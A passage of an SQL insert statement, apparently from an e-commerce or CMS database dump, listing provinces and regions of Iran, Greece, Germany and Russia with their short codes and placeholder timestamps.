0), (471, 1, 101, 0, 'Yazd', 'YAZ', 'YA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (472, 1, 101, 0, 'Zanjan', 'ZAN', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (535, 1, 84, 0, 'ΛΕΥΚΑΔΑΣ', 'ΛΕΥ', 'ΛΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (532, 1, 84, 0, 'ΛΑΡΙΣΑΣ', 'ΛΑΡ', 'ΛΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (504, 1, 84, 0, 'ΑΡΚΑΔΙΑΣ', 'ΑΡΚ', 'ΑΚ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (503, 1, 84, 0, 'ΑΡΓΟΛΙΔΑΣ', 'ΑΡΓ', 'ΑΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (533, 1, 84, 0, 'ΛΑΣΙΘΙΟΥ', 'ΛΑΣ', 'ΛΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (534, 1, 84, 0, 'ΛΕΣΒΟΥ', 'ΛΕΣ', 'ΛΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (530, 1, 84, 0, 'ΚΥΚΛΑΔΩΝ', 'ΚΥΚ', 'ΚΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (553, 1, 84, 0, 'ΑΙΤΩΛΟΑΚΑΡΝΑΝΙΑΣ', 'ΑΙΤ', 'ΑΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (529, 1, 84, 0, 'ΚΟΡΙΝΘΙΑΣ', 'ΚΟΡ', 'ΚΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (531, 1, 84, 0, 'ΛΑΚΩΝΙΑΣ', 'ΛΑΚ', 'ΛK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (517, 1, 84, 0, 'ΗΜΑΘΙΑΣ', 'ΗΜΑ', 'ΗΜ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (518, 1, 84, 0, 'ΗΡΑΚΛΕΙΟΥ', 'ΗΡΑ', 'ΗΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (519, 1, 84, 0, 'ΘΕΣΠΡΩΤΙΑΣ', 'ΘΕΠ', 'ΘΠ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (520, 1, 84, 0, 'ΘΕΣΣΑΛΟΝΙΚΗΣ', 'ΘΕΣ', 'ΘΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (521, 1, 84, 0, 'ΙΩΑΝΝΙΝΩΝ', 'ΙΩΑ', 'ΙΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (522, 1, 84, 0, 'ΚΑΒΑΛΑΣ', 'ΚΑΒ', 'ΚΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (523, 1, 84, 0, 'ΚΑΡΔΙΤΣΑΣ', 'ΚΑΡ', 'ΚΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (524, 1, 84, 0, 'ΚΑΣΤΟΡΙΑΣ', 'ΚΑΣ', 'ΚΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (525, 1, 84, 0, 'ΚΕΡΚΥΡΑΣ', 'ΚΕΡ', 'ΚΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (526, 1, 84, 0, 'ΚΕΦΑΛΛΗΝΙΑΣ', 'ΚΕΦ', 'ΚΦ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (527, 1, 84, 0, 'ΚΙΛΚΙΣ', 'ΚΙΛ', 'ΚΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (528, 1, 84, 0, 'ΚΟΖΑΝΗΣ', 'ΚΟΖ', 'ΚZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (507, 1, 84, 0, 'ΑΧΑΪΑΣ', 'ΑΧΑ', 'ΑΧ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (508, 1, 84, 0, 'ΒΟΙΩΤΙΑΣ', 'ΒΟΙ', 'ΒΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (509, 1, 84, 0, 'ΓΡΕΒΕΝΩΝ', 'ΓΡΕ', 'ΓΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (510, 1, 84, 0, 'ΔΡΑΜΑΣ', 'ΔΡΑ', 'ΔΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (511, 1, 84, 0, 'ΔΩΔΕΚΑΝΗΣΟΥ', 'ΔΩΔ', 'ΔΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (512, 1, 84, 0, 'ΕΒΡΟΥ', 'ΕΒΡ', 'ΕΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (513, 1, 84, 0, 'ΕΥΒΟΙΑΣ', 'ΕΥΒ', 'ΕΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (514, 1, 84, 0, 'ΕΥΡΥΤΑΝΙΑΣ', 'ΕΥΡ', 'ΕΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (515, 1, 84, 0, 'ΖΑΚΥΝΘΟΥ', 'ΖΑΚ', 'ΖΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (516, 1, 84, 0, 'ΗΛΕΙΑΣ', 'ΗΛΕ', 'ΗΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (505, 1, 84, 0, 'ΑΡΤΑΣ', 'ΑΡΤ', 'ΑΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (506, 1, 84, 0, 'ΑΤΤΙΚΗΣ', 'ΑΤΤ', 'ΑΤ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (536, 1, 84, 0, 'ΜΑΓΝΗΣΙΑΣ', 'ΜΑΓ', 'ΜΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (537, 1, 84, 0, 'ΜΕΣΣΗΝΙΑΣ', 'ΜΕΣ', 'ΜΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (538, 1, 84, 0, 'ΞΑΝΘΗΣ', 'ΞΑΝ', 'ΞΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (539, 1, 84, 0, 'ΠΕΛΛΗΣ', 'ΠΕΛ', 'ΠΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (540, 1, 84, 0, 'ΠΙΕΡΙΑΣ', 'ΠΙΕ', 'ΠΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (541, 1, 84, 0, 'ΠΡΕΒΕΖΑΣ', 'ΠΡΕ', 'ΠΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (542, 1, 84, 0, 'ΡΕΘΥΜΝΗΣ', 'ΡΕΘ', 'ΡΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (543, 1, 84, 0, 'ΡΟΔΟΠΗΣ', 'ΡΟΔ', 'ΡΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (544, 1, 84, 0, 'ΣΑΜΟΥ', 'ΣΑΜ', 'ΣΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (545, 1, 84, 0, 'ΣΕΡΡΩΝ', 'ΣΕΡ', 'ΣΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (546, 1, 84, 0, 'ΤΡΙΚΑΛΩΝ', 'ΤΡΙ', 'ΤΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (547, 1, 84, 0, 'ΦΘΙΩΤΙΔΑΣ', 'ΦΘΙ', 'ΦΘ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (548, 1, 84, 0, 'ΦΛΩΡΙΝΑΣ', 'ΦΛΩ', 'ΦΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (549, 1, 84, 0, 'ΦΩΚΙΔΑΣ', 'ΦΩΚ', 'ΦΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (550, 1, 84, 0, 'ΧΑΛΚΙΔΙΚΗΣ', 'ΧΑΛ', 'ΧΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (551, 1, 84, 0, 'ΧΑΝΙΩΝ', 'ΧΑΝ', 'ΧΝ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (552, 1, 84, 0, 'ΧΙΟΥ', 'ΧΙΟ', 'ΧΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (569, 1, 81, 0, 'Schleswig-Holstein', 'SHO', 'SH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (554, 1, 81, 0, 'Freie und Hansestadt Hamburg', 'HAM', 'HH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (555, 1, 81, 0, 'Niedersachsen', 'NIS', 'NI', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (556, 1, 81, 0, 'Freie Hansestadt Bremen', 'HBR', 'HB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (557, 1, 81, 0, 'Nordrhein-Westfalen', 'NRW', 'NW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (558, 1, 81, 0, 'Hessen', 'HES', 'HE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (559, 1, 81, 0, 'Rheinland-Pfalz', 'RLP', 'RP', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (560, 1, 81, 0, 'Baden-Württemberg', 'BWÜ', 'BW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (561, 1, 81, 0, 'Freistaat Bayern', 'BAV', 'BY', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (562, 1, 81, 0, 'Saarland', 'SLA', 'SL', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (563, 1, 81, 0, 'Berlin', 'BER', 'BE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (564, 1, 81, 0, 'Brandenburg', 'BRB', 'BB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (565, 1, 81, 0, 'Mecklenburg-Vorpommern', 'MVO', 'MV', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (566, 1, 81, 0, 'Freistaat Sachsen', 'SAC', 'SN', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (567, 1, 81, 0, 'Sachsen-Anhalt', 'SAA', 'ST', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (568, 1, 81, 0, 'Freistaat Thüringen', 'THÜ', 'TH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (570, 1, 176, 0, 'Адыгея Республика', 'AD', '01', 1, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (571, 1, 176, 0, 'Алтай Республика', 'AL', '04', 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (572, 1, 176, 0, 'Алтайский край', 'ALT', '22', 3, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (573, 1, 176, 0, 'Амурская область', 'AMU', '28', 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (574, 1, 176, 0, 'Архангельская область', 'ARK', '29', 5, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (575, 1, 176, 0, 'Астраханская область', 'AST', '30', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (576, 1, 176, 0, 'Башкортостан Республика', 'BA', '02', 7, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (577, 1, 176, 0, 'Белгородская область', 'BEL', '31', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (578, 1, 176, 0, 'Брянская область', 'BRY', '32', 9, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (579, 1, 176, 0, 'Бурятия Республика', 'BU', '03', 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (580, 1, 176, 0, 'Владимирская область', 'VLA', '33', 11, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (581, 1, 176, 0, 'Волгоградская область', 'VGG', '34', 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (582, 1, 176, 0, 'Вологодская область', 'VLG', '35', 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (583, 1, 176, 0, 'Воронежская область', 'VOR', '36', 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (584, 1, 176, 0, 'Дагестан Республика', 'DA', '05', 15, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (585, 1, 176, 0, 'Еврейская автономная область', 'YEV', '79', 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (586, 1, 176, 0, 'Забайкальский край', 'ZAB', '75', 17, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (587, 1, 176, 0, 'Ивановская область', 'IVA', '37', 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (588, 1, 176, 0, 'Ингушетия Республика', 'IN', '06', 19, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (589, 1, 176, 0, 'Иркутская область', 'IRK', '38', 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (590, 1, 176, 0, 'Кабардино-Балкарская Республика', 'KB', '07', 21, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (591, 1, 176, 0, 'Калининградская область', 'KGD', '39', 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (592, 1, 176, 0, 'Калмыкия Республика', 'KL', '08', 23, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (593, 1, 176, 0, 'Калужская область', 'KLU', '40', 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (594, 1, 176, 0, 'Камчатский край', 'KAM', '41', 25, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (595, 1, 176, 0, 'Карачаево-Черкесская Республика', 'KC', '09', 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (596, 1, 176, 0, 'Карелия Республика', 'KR', '10', 27, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (597, 1, 176, 0, 'Кемеровская область', 'KEM', '42', 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (598, 1, 176, 0, 'Кировская область', 'KIR', '43', 29, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (599, 1, 176, 0, 'Коми Республика', 'KO', '11', 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (600, 1, 176, 0, 'Костромская область', 'KOS', '44', 31, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (601, 1, 176, 0, 'Краснодарский край', 'KDA', '23', 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (602, 1, 176, 0, 'Красноярский край', 'KIA', '24', 33, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (603, 1, 176, 0, 'Курганская область', 'KGN', '45', 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (604, 1, 176, 0, 'Курская область', 'KRS', '46', 35, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (605, 1, 176, 0, 'Ленинградская область', 'LEN', '47', 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (606, 1, 176, 0, 'Липецкая область', 'LIP', '48', 37, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (607, 1, 176, 0, 'Магаданская область', 'MAG', '49', 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (608, 1, 176, 0, 'Марий Эл Республика', 'ME', '12', 39, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (609, 1, 176, 0, 'Мордовия Республика', 'MO', '13', 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (610, 1, 176, 0, 'Москва', 'MOW', '77', 41, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (611, 1, 176, 0, 'Московская область', 'MOS', '50', 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (612, 1, 176, 0, 'Мурманская область', 'MUR', '51', 43, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (613, 1, 176, 0, 'Ненецкий автономный округ', 'NEN', '83', 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (614, 1, 176, 0, 'Нижегородская область', 'NIZ', '52', 45, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (615, 1, 176, 0, 'Новгородская область', 'NGR', '53', 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (616, 1, 176, 0, 'Новосибирская область', 'NVS', '54', 47, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (617, 1, 176, 0, 'Омская область', 'OMS', '55', 48, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (618, 1, 176, 0, 'Оренбургская область', 'ORE', '56', 49, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (619, 1, 176, 0, 'Орловская область', 'ORL', '57', 50, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (620, 1, 176, 0, 'Пензенская область', 'PNZ', '58', 51, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (621, 1, 176, 0, 'Пермский край', 'PER', '59', 52, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (622, 1, 176, 0, 'Приморский край', 'PRI', '25', 53, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (623, 1, 176, 0, 'Псковская область', 'PSK', '60', 54, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (624, 1, 176, 0, 'Ростовская область', 'ROS', '61', 55, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (625, 1, 176, 0, 'Рязанская область', 'RYA', '62', 56, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (626, 1, 176, 0, 'Самарская область', 'SAM', '63', 57, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (627, 1, 176, 0, 'Санкт-Петербург', 'SPE', '78', 58, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (628, 1, 176, 0, 'Саратовская область', 'SAR', '64', 59, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (629, 1, 176, 0, 'Саха (Якутия) Республика', 'SA', '14', 60, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (630, 1, 176, 0, 'Сахалинская область', 'SAK', '65', 61, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (631, 1, 176, 0, 'Свердловская область', 'SVE', '66', 62, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (632, 1, 176, 0, 'Северная Осетия-Алания Республика', 'SE', '15', 63, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (633, 1, 176, 0, 'Смоленская область', 'SMO', '67', 64, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (634, 1, 176, 0, 'Ставропольский край', 'STA', '26', 65, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (635, 1, 176, 0, 'Тамбовская область', 'TAM', '68', 66, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (636, 1, 176, 0, 'Татарстан Республика', 'TA', '16', 67, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (637, 1, 176, 0, 'Тверская область', 'TVE', '69', 68, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (638, 1, 176, 0, 'Томская область', 'TOM', '70', 69, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (639, 1, 176, 0, 'Тульская область', 'TUL', '71', 70, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (640, 1, 176, 0, 'Тыва Республика', 'TY', '17', 71, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (641, 1, 176, 0, 'Тюменская область', 'TYU', '72', 72, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (642, 1, 176, 0, 'Удмуртская Республика', 'UD', '18', 73, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (643, 1, 176, 0, 'Ульяновская область', 'ULY', '73', 74, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (644, 1, 176, 0, 'Хакасия Республика', 'KK', '19', 75, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (645, 1, 176, 0, 'Челябинская область', 'CHE', '74', 76, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (646, 1, 176, 0, 'Чеченская Республика', 'CE', '20', 77, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (647, 1, 176, 0, 'Чувашская Республика', 'CU', '21', 78, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (648, 1, 176, 0, 'Чукотский автономный округ', 'CHU', '87', 79, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (649, 1, 176, 0, 'Хабаровский край', 'KHA', '27', 80, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (650, 1, 176, 0, 'Ханты-Мансийский автономный округ', 'KHM', '86', 81, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (651, 1, 176, 0, 'Ямало-Ненецкий автономный округ', 'YAN', '89', 82, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (652, 1, 176, 0, 'Ярославская область', 'YAR', '76', 83, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- By : 